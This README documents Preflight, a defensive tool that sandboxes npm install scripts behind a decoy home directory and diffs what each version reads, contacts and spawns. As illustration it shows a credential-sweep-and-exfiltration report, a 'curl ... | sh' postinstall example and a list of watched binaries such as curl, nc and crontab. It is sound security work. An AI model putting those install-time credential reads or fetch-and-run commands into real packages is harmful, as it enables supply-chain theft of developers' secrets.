Run an npm package's install scripts under instrumentation, and diff what they do across versions.
npm install executes arbitrary code on your laptop before you have read a line of it.
Preflight runs that code in a sandbox with a decoy home directory, records every file it
touched, every host it resolved, every process it spawned and every environment variable
it read, and then answers the only question that scales: did this version start doing
something the last version never did?
$ preflight diff telemetry-core 1.4.0 1.4.1
[BLOCK] telemetry-core 1.4.0 -> 1.4.1
new install-time path from a credential read to an unrecognised network destination
capabilities gained
+ CRITICAL fs:read:aws-credentials ~/.aws/credentials (scripts/setup.js:22)
+ CRITICAL fs:read:ssh-keys ~/.ssh/id_ed25519 (scripts/setup.js:22)
+ CRITICAL fs:read:npm-token ~/.npmrc (scripts/setup.js:22)
+ HIGH net:collector.preflight-... POST /ingest (scripts/setup.js:31)
+ MEDIUM env:enumerate 40 vars (scripts/setup.js:26)
The lifecycle script on both versions is the same one line, node scripts/setup.js. A
lockfile diff shows a version number. A source diff shows a file that got longer.
Behaviour shows the actual change.
Scanners answer "does this package look bad", which is a judgement about code that an attacker controls. Preflight answers "is this package doing something it has never done before", which is a judgement about behaviour across time and is much harder to launder.
That distinction matters because of how this class of attack actually lands. The 2025-2026 Shai-Hulud npm worm family did not publish suspicious new packages, it pushed patch releases of packages people already depended on. One recent variant searched 469 credential locations on developer machines. The ChainDrop wave compromised 1,300+ package versions representing roughly 2B monthly downloads. In one May 2026 incident the entry point was a project's own CI, and 84 malicious artifacts across 42 packages were published in six minutes.
In every one of those, the trustworthy signal was not the code. It was that
0.4.7 -> 0.4.8 went from touching nothing to reading ~/.npmrc.
npm install -g preflight
# or run it without installing
npx preflight diff <package> <versionA> <versionB>Node 20 or newer. No dependencies, first-party or otherwise: everything is Node builtins
plus the system tar.
preflight run esbuild@0.21.5 # execute the install scripts, report what they did
preflight diff lodash 4.17.20 4.17.21 # compare two versions
preflight watch esbuild # compare what you have installed against latest
preflight scan package-lock.json # every package in the tree that can run code
preflight trace sharp@0.35.4 # raw JSONL events, for piping somewhere elseExit codes are meant for CI: 0 clean, 1 needs review, 2 blocked, 3 usage error.
# fail a PR when a dependency bump gains a capability
- run: npx preflight scan package-lock.json --json > preflight.jsonTo stop the behaviour rather than just record it:
preflight run some-package@1.2.3 --enforce --allow-net registry.npmjs.orgUnder --enforce, credential reads throw, egress to anything outside the allowlist
throws, and non-allowlisted binaries exit 126. The attempt is still recorded, flagged
blocked: true, so you get the finding and the containment.
Three layers, because no single one of them sees everything.
1. An in-process shim. Loaded into every Node process in the install via
NODE_OPTIONS=--require, before the package's own code runs. It wraps fs, net,
dns, http/https, fetch, child_process, and puts a Proxy on process.env.
Child processes inherit NODE_OPTIONS, so the whole tree is covered.
2. PATH wrappers. The in-process shim only sees Node, and a lot of real payloads
never touch Node at all: postinstall: curl -sf https://.../x.sh | sh is pure shell. So
the sandbox prepends a directory of wrapper executables for 26 binaries that matter
(curl, wget, nc, base64, security, osascript, launchctl, crontab and so
on). Each logs its argv and then execs the real binary. Only binaries that actually
exist on the host get wrapped, so command -v keeps telling the truth.
3. A filesystem snapshot. The package directory is hashed before and after, and the result is diffed against the published tarball's file list. A file that exists after the install but was never in the tarball is a dropped artifact; if it is executable, that is how a second stage persists.
Naive hooks are useless, and it took real packages to find out why. Node copies the
entire environment into every child process it spawns, resolves modules by walking
parent directories, and opens sockets for its own reasons. Hook process.env and run
esbuild, and the first report claims the package read AWS_SECRET_ACCESS_KEY,
GITHUB_TOKEN, NPM_TOKEN and fifteen others. It did not. Node did, on its way to
spawnSync.
So every event carries a callsite attribution: the shim walks the stack for the first frame that is not the runtime and not itself, and records whether the caller was the package, one of its dependencies, or Node. Runtime-attributed noise is dropped, with one deliberate exception, credential reads, which are kept no matter who appears to have triggered them.
That is also why reports point at a line:
CRITICAL fs:read:ssh-keys ~/.ssh/id_ed25519 (scripts/post.js:9)
MEDIUM env:enumerate 40 vars (node_modules/node-gyp-build/bin.js:8)
The second one is bufferutil, and the attribution is doing real work there: the
enumeration is in a dependency, not in the package you installed.
A related fix, same cause: a spread of process.env fires one ownKeys and then a
get for every key in the same tick. That is one bulk copy, not forty targeted reads,
and conflating the two buries the signal.
Raw traces are not comparable. Timestamps move, pids move, temp paths move, CDNs rotate
hostnames. So each run is reduced to the set of powers it exercised, which is
stable: fs:read:aws-credentials, net:collector.example, proc:curl, env:enumerate.
Diffing those sets is what makes the question meaningful. Two runs of the same version
produce identical sets, which is asserted in the test suite rather than assumed.
Severity is not a vibe. It falls out of a combination rule: a credential read is bad, an unrecognised network destination is bad, and a single install that does both is an exfiltration path and scores as one finding rather than two.
Preflight executes install scripts, so it gives them a decoy $HOME by default,
populated with syntactically valid, entirely non-functional canaries: a fake
~/.aws/credentials, a fake ~/.npmrc, a fake ssh key at mode 0600, a fake kubeconfig,
fake AWS_SECRET_ACCESS_KEY and GITHUB_TOKEN in the environment. A credential stealer
finds what it is looking for, the read is recorded, and nothing real was ever in reach.
--real-home exists and is not recommended.
Everything below regenerates from the repo. npm run eval, npm run eval:real,
npm run bench, and the JSON lands in results/.
Attack corpus. Eight fixture package pairs in test/fixtures/, each modelling a
documented technique: credential sweep appended to a patch release, shell-only second
stage, DNS-label exfiltration, dropped executable, keychain read through the shell, and
a base64 payload evaluated at runtime whose source reads clean.
| malicious upgrades blocked | 6 / 6 |
| benign upgrades passed | 2 / 2 |
fully contained under --enforce |
6 / 6 |
False positives on real packages. The number that decides whether anyone leaves this turned on. 43 pairs of adjacent published versions pulled live from npm, 86 instrumented installs, 25 of which declare lifecycle scripts, 21 of those ran to exit 0 (the rest need toolchains this machine does not have).
| non-major upgrades evaluated | 41 |
| spurious blocks | 0 |
| flagged for review | 3 (7.3%) |
All three reviews are real observations, not noise: sqlite3 and es5-ext changed their
lifecycle script body between versions, and node-pty added an install script that was
not there before. Preflight is supposed to say something about those.
Overhead. Same lifecycle scripts, same sandbox, shim and PATH wrappers on versus off, 7 repetitions each, median reported.
| median overhead | 6ms (4.8%) |
| worst case | 19ms |
Tests. 49 tests, 0 failures, about 3 seconds. They run against a real registry served over HTTP from the test process, so the CLI is exercised end to end with no mocking and no network.
npm testWorth being straight about, because a security tool that oversells itself is worse than none.
- This is detection, not a sandbox. The in-process hooks are defeatable by code that
goes looking for them. The PATH wrappers are defeatable by calling an absolute path.
--enforceraises the cost of a payload; it does not make one impossible. What is genuinely hard to hide from is the behavioural diff, because evading it means matching the previous version's capability set exactly. - One package at a time.
preflight runexecutes the target's own lifecycle scripts. Its dependencies are installed with--ignore-scriptsso their behaviour is not attributed to the wrong package. Usepreflight scanto cover a whole tree. - Time-of-check. A payload that stays dormant on the first run, or keys off a date or a CI environment variable, will not show up in a single execution.
- macOS and Linux. The PATH wrapper layer is POSIX shell.
bin/preflight.js CLI, argument parsing, exit codes
src/shim.cjs in-process instrumentation and callsite attribution
src/pathshim.js generated PATH wrappers for 26 watched binaries
src/execlog.cjs the logger those wrappers call
src/sandbox.js decoy home, canaries, filesystem snapshot and diff
src/runner.js fetch, extract, install deps, execute lifecycle scripts
src/registry.js npm client with integrity verification and caching
src/capability.js trace -> capability set, severity, combination rules
src/diff.js capability set diff and verdict
src/lockfile.js npm v1/v2/v3 and yarn v1 lockfile parsing
src/report.js terminal output
test/fixtures/ eight package pairs modelling documented attacks
test/helpers/ a real npm registry, served locally, for end-to-end tests
eval/ bench/ the scripts behind every number above
MIT.